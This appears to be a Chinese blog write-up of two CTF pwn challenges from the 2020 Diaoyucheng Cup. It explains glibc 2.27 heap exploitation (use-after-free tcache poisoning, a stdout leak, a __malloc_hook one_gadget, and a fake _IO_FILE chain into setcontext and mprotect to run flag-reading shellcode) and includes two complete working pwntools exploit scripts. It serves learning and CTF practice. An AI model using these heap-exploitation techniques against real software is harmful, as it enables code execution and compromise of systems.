zoukankan      html  css  js  c++  java
  • 2020首届钓鱼城杯

    veryeasy

    题目附件

    这题保护全开,不太好利用。

    漏洞

    在free后没用清空指针,存在UAF。

    这里需要注意的是存在对free次数的检查,但是if语句中是无符号数的比较。通过Add 9个以上的chunk使DAT_00302010的值为-1绕过检查。

    利用过程

    glibc版本是2.27,tcache的存在使得堆利用变得非常容易。

    先free 8个chunk,多余的一个chunk便会被放入unsortbin中。代码如下:

        Add(0, 0x80, 'A'*0x10, p)
        Add(1, 0x80, 'A'*0x10, p)
        Add(2, 0x80, 'A'*0x10, p)
        Add(3, 0x80, 'A'*0x10, p)
        Add(4, 0x80, 'A'*0x10, p)
        Add(5, 0x80, 'A'*0x10, p)
        Add(6, 0x80, 'A'*0x10, p)
        Add(7, 0x80, 'A'*0x10, p)
        Add(8, 0x80, 'A'*0x10, p)
        Add(9, 0x80, 'A'*0x10, p)
        Delete(0, p)
        Delete(1, p)
        Delete(2, p)
        Delete(3, p)
        Delete(4, p)
        Delete(5, p)
        Delete(0, p)
        Delete(0, p)

    结果如下:

    因为stdout的地址和unsortbin的地址有5位不同,不能直接利用部分写来爆破。仔细观察可以发现stdinmain_arena上方不远处,在stdin中有跟stdout的地址只有4位不同的数据,如下

    利用部分写可以把该值加入tcache中,接着malloc两个chunk就可以把这个值放在tcache链表的头部,代码如下

        Edit(0, 'x88xfa', p)
        Add(10, 0x80, 'A'*0x10, p)
        Add(11, 0x80, 'A'*0x10, p)

    结果如下

    接着free一个chunk,利用部分写改写这个值为stdout的地址,代码如下

    结果如下

    之后把stdout malloc出来改写一下就可以leak信息。获得libc基址后就可以算出__malloc_hook的地址。不过这题不能直接向__malloc_hook中写入one_gadget,得利用realloc函数做中专来满足one_gadget的条件。

    完整代码如下:

    #!/usr/bin/python
    #-*-coding:utf8-*-
    from pwn import *
    libc = ELF('./libc-2.27.so')
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    #context.log_level = 'debug'
    
    def Add(index, size, content, p):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('id:', str(index))
        p.sendlineafter('size:', str(size))
        p.sendafter('content:', content)
    
    def Edit(index, content, p):
        p.sendlineafter('Your choice :', '2')
        p.sendlineafter('id:', str(index))
        p.sendafter('content:', content)
    
    def Delete(index, p):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('id:', str(index))
    
    def pwn():
        p = process('./pwn')
        Add(0, 0x80, 'A'*0x10, p)
        Add(1, 0x80, 'A'*0x10, p)
        Add(2, 0x80, 'A'*0x10, p)
        Add(3, 0x80, 'A'*0x10, p)
        Add(4, 0x80, 'A'*0x10, p)
        Add(5, 0x80, 'A'*0x10, p)
        Add(6, 0x80, 'A'*0x10, p)
        Add(7, 0x80, 'A'*0x10, p)
        Add(8, 0x80, 'A'*0x10, p)
        Add(9, 0x80, 'A'*0x10, p)
        Delete(0, p)
        Delete(1, p)
        Delete(2, p)
        Delete(3, p)
        Delete(4, p)
        Delete(5, p)
        Delete(0, p)
        Delete(0, p)
    
        Edit(0, 'x88xfa', p)
        Add(10, 0x80, 'A'*0x10, p)
        Add(11, 0x80, 'A'*0x10, p)
    
        Delete(2, p)
    
    
        # 改写fd指针,使其指向stdout
        Edit(2, 'x60x07', p)
        Add(12, 0x80, 'A'*0x10, p)
    
        try:
            Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + 'x00', p)
            libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3ed8b0
            info("libc_base ==> " + hex(libc_base))
            libc.address = libc_base
        except:
            p.close()
            return 0
        if (libc_base >> 40) != 0x7f:
            return 0
    
        malloc_hook = libc.symbols['__malloc_hook']
        info("malloc_hook ==> " + hex(malloc_hook))
        realloc = libc.symbols['__libc_realloc']
        malloc = libc.symbols['__libc_malloc']
        a = [0x4f365, 0x4f3c2, 0x10a45c]
        one_gadget = libc_base + a[2]
    
        Delete(0, p)
        Edit(0, p64(malloc_hook-0x8), p)
        Add(14, 0x80, 'A'*0x10, p)
        Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p)
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('id:', '16')
        p.sendlineafter('size:', str(0x80))
        p.interactive()
        p.close()
        return 1
    
    if __name__ == '__main__':
        while True:
            a = pwn()
            if a:
                break

    踩坑记录:

    这题在把chunk放进unsortbin后我的第一感觉是部分写leak信息,之后调试发现不行,就习惯性的在main_arena下面找满足条件的值,没想到往上面找,结果浪费了很多时间。知道stdin在main_arena附近也算是一点小收获吧。

    在glibc2.23中unsortbin的地址只有4位跟stdout不同,可以直接部分写。

    Block

    题目附件

    程序是保护全开的。

    程序存在单子节溢出,又又打印函数。利用large chunk就可以泄漏堆地址和libc基址。

    程序开了seccomp保护,不能getshell,就只能用orw来回去flag。

    这题可以用exit来orw。先给出调用链:exit-> __run_exit_handlers+560 -> _IO_cleanup + 32 -> _IO_flush_all_lockp + 287 -> _IO_str_finish + 18 -> setcontext + 53 -> orw_code

    先double free修改_IO_list_all为伪造的_IO_FILE。

    接下来我们重点关注_IO_FILE怎么伪造。先上一张图:

    现在逐个解释每处数据的作用:

    构造1出的数据是为了绕过上图中红色圈中的检查,接下用会自行_IO_OVERFLOW这个宏。这个宏对应如下汇编代码

    其中rbx是伪造的_IO_FILE的地址,rax是伪造的3处的数据,其在_IO_str_jumps附近。

    接着进入_IO_str_fnish。

    其中rbx是fp,也就是伪造的额IO_FILE,call指令调用的是4处的函数setcontext+53,其参数rdi是2处的数据。

    接着进入setcontext函数。

    9处数据是mprotext函数,567是它三个参数8是写入的code的地址。

    完整exp如下:

    #!/usr/bin/python
    #-*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./block')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def Add(type1, size, content):
        p.sendlineafter('Choice >> ', '1')
        p.sendlineafter('type: ', str(type1))
        p.sendlineafter('size: ', str(size))
        p.sendafter('content: ', content)
    
    def Delete(index):
        p.sendlineafter('Choice >> ', '2')
        p.sendlineafter('index: ', str(index))
    
    def Show(index):
        p.sendlineafter('Choice >> ', '3')
        p.sendlineafter('index: ', str(index))
    
    def Edit(index, content):
        p.sendlineafter('Choice >> ', '4')
        p.sendlineafter('index: ', str(index))
        p.sendafter('content: ', content)
        
    for i in range(7):
        Add(3, 0x1e0, 'A'*0x10 + '
    ')
    for i in range(7):
        Delete(i)
    
    Add(3, 0x68, 'A'*0x10 + '
    ')
    Add(3, 0xf8, 'A'*0x10 + '
    ')
    Add(3, 0x68, 'A'*0x10 + '
    ')
    Add(3, 0x78, 'A'*0x10 + '
    ')
    Add(3, 0x68, 'A'*0x10 + '
    ')
    Add(1, 0x450, 'A'*0x10 + '
    ')
    Add(3, 0x68, 'A'*0x10 + '
    ')
    
    Edit(0, 'x00'*0x68 + 'xf1' + '
    ')
    
    Delete(1)
    
    Add(3, 0xf8, 'A'*0x10 + '
    ')
    Add(3, 0x68, 'A'*0x10 + '
    ')
    Delete(5)
    
    # leak
    Show(3)
    p.recvuntil('The content is ')
    libc_base = u64(p.recv(8)) - 0x3ebca0
    libc.address = libc_base
    info("libc_base ==> " + hex(libc_base))
    chunk_addr = u64(p.recv(8))
    info("chunk_addr ==> " + hex(chunk_addr))
    
    mprotect = libc.symbols['mprotect']
    setcontext = libc.symbols['setcontext']
    _IO_str_jumps = libc_base + 0x3e8360
    
    #payload = 'A'*0x10 + '
    '
    code  = shellcraft.open('./flag')
    code += shellcraft.read(3, "rsp", 0x100)
    code += shellcraft.write(1, "rsp", 0x100)
    
    payload  = 'x00'*0x28 + p64(1) + 'x00'*0x8 + p64(chunk_addr + 0x120)
    payload  = payload.ljust(0xd8, 'x00') + p64(_IO_str_jumps - 0x8) + 'x00'*8 + p64(setcontext + 0x35)
    payload += 'x00'*0x20 + 'x00'*0x68 + p64(chunk_addr + 0x80)
    payload += p64(0x1000) + 'x00'*0x10 + p64(0x7)
    payload += 'x00'*0x10 + p64(chunk_addr + 0x80 + 0x200) + p64(mprotect) + p64(0) + p64(0)
    payload += 'x00'*0xa0 + p64(chunk_addr + 0x80 + 0x200 + 0x8)
    payload += asm(code)
    Add(1, 0x450, payload + '
    ')
    
    # double free
    Delete(2)
    Delete(4)
    Delete(7)
    
    # 把_IO_list_all加入fastbin中
    Add(3, 0x68, p64(libc_base + 0x3ec63d) + '
    ')
    Add(3, 0x68, 'A'*0x10 + '
    ')
    Add(3, 0x68, p64(chunk_addr + 0x10) + '
    ')
    Add(3, 0x68, 'x00'*0x13 + p64(chunk_addr + 0x10) + '
    ')
    
    gdb.attach(p, 'b * 0x555555554000+0xcfa
    c')
    p.sendlineafter('Choice >> ', '5')
    
    p.interactive()
  • 相关阅读:
    如何解决git上传文件出错[rejected] master -> master (fetch first) error: failed to push some refs to '
    git
    pytest自动化测试执行环境切换
    JS实现菜单栏折叠
    vue-highlightjs 代码高亮
    C# 动态调用http及 webservice服务
    API接口优化的几个方面
    Leetcode__1508. Range Sum of Sorted Subarray Sums
    Batch Normalization 以及 Pytorch的实现
    Pytorch Transformer 中 Position Embedding 的实现
  • 原文地址:https://www.cnblogs.com/countfatcode/p/13596810.html
Copyright © 2011-2022 走看看